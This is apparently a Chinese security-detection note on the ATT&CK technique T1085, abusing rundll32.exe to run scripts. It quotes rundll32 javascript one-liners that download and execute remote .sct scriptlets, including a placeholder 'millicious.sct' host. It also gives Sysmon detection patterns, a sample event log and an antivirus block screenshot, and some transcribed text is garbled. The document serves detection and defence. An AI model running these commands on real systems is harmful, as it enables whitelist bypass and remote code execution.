

T1085

RundLL32

rundll32.exe 可以被调用来执行任意二进制文件。攻击者可以利用此功能来代理代码的执行，以避免触发安全工具，因为安全工具可能不会监视 rundll32.exe 进程的执行。

rundll32.exe 可用于通过未文档化的 shell32.dll 函数 control_rundll 和 control_rundllasuser 来执行 Control Panel Item (.cpl)。双击.cpl 文件也会导致 rundll32.exe 执行。〔1〕

rundll32 也可用于执行脚本，如 javascript。这可以使用类似于以下语法的语法来完成：

```
rundll32.exe javascript: "..\mshtml, runhtmlapplication" ;  
document.write () ;  
getobject ( "script:https[ : ]//www[.]example[.]com/millicious.sct" )  
此行为已被 Poweliks 等恶意软件使用。
```

缓解

Microsoft 的 EMET 的 ASR 功能可用于阻止使用 rundll32.exe 绕过白名单的方法。〔35〕

检测

使用进程监视工具监视 rundll32.exe 的执行和参数。比较 rundll32.exe 的最近调用与已知良好参数和加载的 dll 的历史记录，以确定异常和潜在的攻击活动。调用 rundll32.exe 的命令参数在确定加载的 dll 的来源和用途时也可能很有用。

atomic test

```
rundll32.exe javascript:"..\mshtml,RunHTMLApplication  
";document.write();GetObject("script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct").Exec();
```

注：

Rundll32 rundll32 用法记录在 msdn 上；它用于调用 dll 文件的导出函数，该函数可以通过以下命令行实现: RUNDLL32.EXE <dllname>, <entrypoint> <optional arguments>

```
rundll32.exe javascript:"..\mshtml.dll,RunHTMLApplication ";eval("w=new  
ActiveXObject(\"WScript.Shell\");w.run(\"mstsc\");window.close());
```

规则：

Sysmon ,eventid=1 ,parentimage 包含 rundll32.exe

Parent commandline 匹配:

```
- '*\rundll32.exe* url.dll,*OpenURL *'  
- '*\rundll32.exe* url.dll,*OpenURLA *'
```

- '*\rundll32.exe* url.dll,*FileProtocolHandler *'
- '*\rundll32.exe* zipfldr.dll,*RouteTheCall *'
- '*\rundll32.exe* Shell32.dll,*Control_RunDLL *'
- '*\rundll32.exe javascript:*
- '* url.dll,*OpenURL *'
- '* url.dll,*OpenURLA *'
- '* url.dll,*FileProtocolHandler *'
- '* zipfldr.dll,*RouteTheCall *'
- '* Shell32.dll,*Control_RunDLL *'
- '* javascript:*
- '*.*RegisterXLL*'

The screenshot shows the Windows Event Viewer interface. The left pane displays a tree of event logs, with 'Operational' selected under 'System'. The main pane shows a list of events, with the selected event (ID 1) expanded to show details. The details pane shows the event's properties, including the file version (6.1.7600.16385), description (记事本), and command line (C:\Windows\System32\notepad.exe). The event's parent process is identified as 'C:\Windows\System32\notepad.exe'.

级别	日期和时间	来源	事件 ID	任务类别
信息	2019/3/25 0:31:42	Sysmon	3	Network connection detected (rule: NetworkConnect)
信息	2019/3/25 0:31:39	Sysmon	3	Network connection detected (rule: NetworkConnect)
信息	2019/3/25 0:31:39	Sysmon	3	Network connection detected (rule: NetworkConnect)
信息	2019/3/25 0:31:39	Sysmon	3	Network connection detected (rule: NetworkConnect)
信息	2019/3/25 0:31:09	Sysmon	3	Network connection detected (rule: NetworkConnect)
信息	2019/3/25 0:31:09	Sysmon	3	Network connection detected (rule: NetworkConnect)
信息	2019/3/25 0:30:59	Sysmon	2	File creation time changed (rule: FileCreateTime)
信息	2019/3/25 0:30:42	Sysmon	3	Network connection detected (rule: NetworkConnect)
信息	2019/3/25 0:30:42	Sysmon	3	Network connection detected (rule: NetworkConnect)
信息	2019/3/25 0:30:34	Sysmon	3	Network connection detected (rule: NetworkConnect)
信息	2019/3/25 0:30:34	Sysmon	3	Network connection detected (rule: NetworkConnect)
信息	2019/3/25 0:30:34	Sysmon	3	Network connection detected (rule: NetworkConnect)
信息	2019/3/25 0:30:32	Sysmon	3	Network connection detected (rule: NetworkConnect)

事件 1, Sysmon

常规 详细信息

FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
 Description: 记事本
 Product: Microsoft® Windows® Operating System
 Company: Microsoft Corporation
 CommandLine: "C:\Windows\System32\notepad.exe"
 CurrentDirectory: C:\Windows\System32\W
 User: WIN-HTJGIGOKH36Wmedia
 LogonGuid: {58e1a014-1235-5c48-0000-0020709b3000}
 LogonId: {8xb38970}
 TerminalSessionId: 2
 IntegrityLevel: High
 Hashes: SHA1=7E50139D217573483CCBD01110067020E64B029
 ParentProcessGuid: {58e1a014-1235-5c48-0000-0020709b3000}
 ParentProcessId: 3024
 ProcessName: C:\Windows\System32\notepad.exe
 ParentCommandLine: rundll32.exe javascript:~w~mshtml,htmlApplication "document.write().GetObject("script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/11085/11085.sct").Exec();

日志名称(N): Microsoft-Windows-Sysmon/Operational
 来源(S): Sysmon
 事件 ID(E): 1
 级别(L): 信息
 用户(U): SYSTEM
 操作代码(O): 信息

360 拦截了测试脚本

The screenshot shows the 360 Security Guard (360安全卫士) interface. A warning message is displayed, stating that a risky program is about to run and suggesting that it be blocked. The program is identified as 'C:\Windows\System32\rundll32.exe' and the risk is described as '脚本木马攻击' (Script Trojan Attack). The message also states that for online safety, if the user does not recognize the program, they should block the operation.

360安全卫士
进程防护

可疑操作

有风险程序正准备运行，建议阻止

风险程序：C:\Windows\System32\rundll32.exe
 风险内容：脚本木马攻击

为了您的上网安全，如果您不认识此程序，请阻止此操作。

☐ 不再提醒 ☒ 允许程序运行 ☐ 阻止程序运行 (25)